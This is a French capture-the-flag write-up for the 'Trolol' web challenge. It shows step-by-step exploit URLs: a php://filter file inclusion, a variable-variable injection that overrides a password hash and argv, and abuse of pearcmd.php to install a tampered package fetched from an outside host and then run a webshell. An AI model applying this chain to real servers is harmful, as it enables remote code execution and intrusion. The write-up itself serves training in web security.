Trolol : Exploitation du Local File Inclusion

Category: Web Points: 150 Solves: 14

http://challs.campctf.ccc.ac:10119/?page=php://filter/convert.base64-encode/resource=login

Cette faille nous permet de récupérer les différents fichiers ci-dessous :
index.php

<?php $pwhash="ffd313452dab00927cb61065a392f30ae454e70f"; if(@$_GET['testmode']){ $v=@$_GET['v']; ${$v}=@$_GET['k']; } include((@$_GET['page']?$_GET['page'].".php":"main.php")); ?>

main.php

<html>
	<head>
		<title>trolol</title>
	</head>
	<body>
		<center>
			<a href="./?page=main">main</a>
			<a href="./?page=info">server info</a>
			<a href="./?page=login">login</a>
		</center>
	</body>
</html>

info.php

<?php phpinfo(); ?>

login.php

<?php $login=@$_POST['login']; $password=@$_POST['password']; if(@$login=="admin" && sha1(@$password)==$pwhash){ include 'secretdir/flag'; }else{ ?>
	<center>
		login



<form action="" method="POST">
			<input name="login" placeholder="login">
			<input name="password" placeholder="password">

			<input type="submit" value="Go!">
		</form>



	</center>
<?php } ?>

1er test, s’identifier avec le compte admin, en utilisant un fake hash

http://challs.campctf.ccc.ac:10119/?page=login&testmode=1&v=pwhash&k=0bf881d39ed23ccfc178e11f4d6eb2e74d385e7b
POST data : login=admin&password=lool

Resultat :
flag{flag_flag_flag_flag_flag_flagl?}
Ce n’est évidemment pas le bon !

Le hint qui change tout : pearcmd.php

Hints:
admin love to eat pears

WoW, exploitation de pear, effectivement dans le phpinfo on voit dans le paramètre include_path :
.:/usr/share/php:/usr/share/pear

Il faut donc surement exploiter pearcmd.php, après un test c’est la déception.

http://challs.campctf.ccc.ac:10119/?page=pearcmd
Resultat :
ERROR: either use the CLI php executable, or set register_argc_argv=On in php.ini
Et effectivement dans le phpinfo register_argc_argv est à off.

Mon partenaire de team, Geluchat, a rapidement trouvé comment contourner le problème avec pearcmd.php, en exploitant $v=@$_GET[‘v’]; et ${$v}=@$_GET[‘k’]; (présent dans index.php) on peut lui donner les arguments nécessaire à son exploitation
Exemple :
http://challs.campctf.ccc.ac:10119/?page=pearcmd&testmode=1&v=argv&k[0]=1&k[1]=list
INSTALLED PACKAGES, CHANNEL PEAR.PHP.NET: ========================================= PACKAGE VERSION STATE Archive_Tar 1.3.12 stable Console_Getopt 1.3.1 stable PEAR 1.9.5 stable Structures_Graph 1.0.4 stable XML_Util 1.2.3 stable

Cette commande liste les packages pear installé.

Reste à exploiter pearcmd.php pour obtenir un webshell. Le temps des tests en local est venu.

php /usr/share/php/pearcmd.php help

Cette commande retourne quelques trucs interessant, comme :

[...]
download Download Package
[...]

Ma 1ère idée était de download une archive et d’exploiter la lfi, mais problème : il fallait que le répertoire cible soit accessible en écriture (/var/www/html) mais je n’ai pas accès à ce répertoire en écriture sur le site cible.

J’ai relancé la commande, pour chercher une autre solution : php /usr/share/php/pearcmd.php help

[...]
install Install Package
[...]

Ma 2ème idée était d’installer un package, je lance la commande d’aide pour voir les différentes options :

php /usr/share/php/pearcmd.php help install

[...]
-R DIR, --installroot=DIR
[...]

Parfait je peux installer un package pear dans le répertoire que je veux donc /tmp.

J’ai télécharger cette archive http://download.pear.php.net/package/Archive_Tar-1.4.0.tgz
J’ai décompressé l’archive puis j’ai modifié le xml (package.xml) comme suit

 <contents>
  <dir name="/">
   <file baseinstalldir="/" md5sum="89b230679f31da6f8dbdea25095f4ca9" name="Archive/Tar.php" role="php" />
   <file baseinstalldir="/" md5sum="2fb90f0be7089a45c09a0d1182792419" name="docs/Archive_Tar.txt" role="doc" />
   <file baseinstalldir="/" md5sum="e6ca18d4af106bf9d5c9271b66cc6569" name="Archive/2.php" role="doc" />
   <file baseinstalldir="/" md5sum="6976343ed8c69c3c99086ff5207972c8" name="Archive/3.php" role="doc" />
  </dir>
 </contents>

J’ai ajouté mes scripts dans le dossier Archive et j’ai recompressé le tout.

Installation d’un package :

http://challs.campctf.ccc.ac:10119/?page=pearcmd&testmode=1&v=argv&k[0]=list&k[1]=install&k[2]=–installroot&k[4]=/tmp/&k[5]=http://www.example.com/pear-sam.tar.gz

Exploitation du webshell via lfi :

http://challs.campctf.ccc.ac:10119/?page=/tmp/usr/share/php/doc/Archive_Tar/Archive/3&dir=ls /

bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys the_flag_7f6b8ec0adfe91dd6505ff934aaa61565c91aebf tmp usr var vmlinuz vmlinuz.old

Write-Up by sambecks

Leave a Comment

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *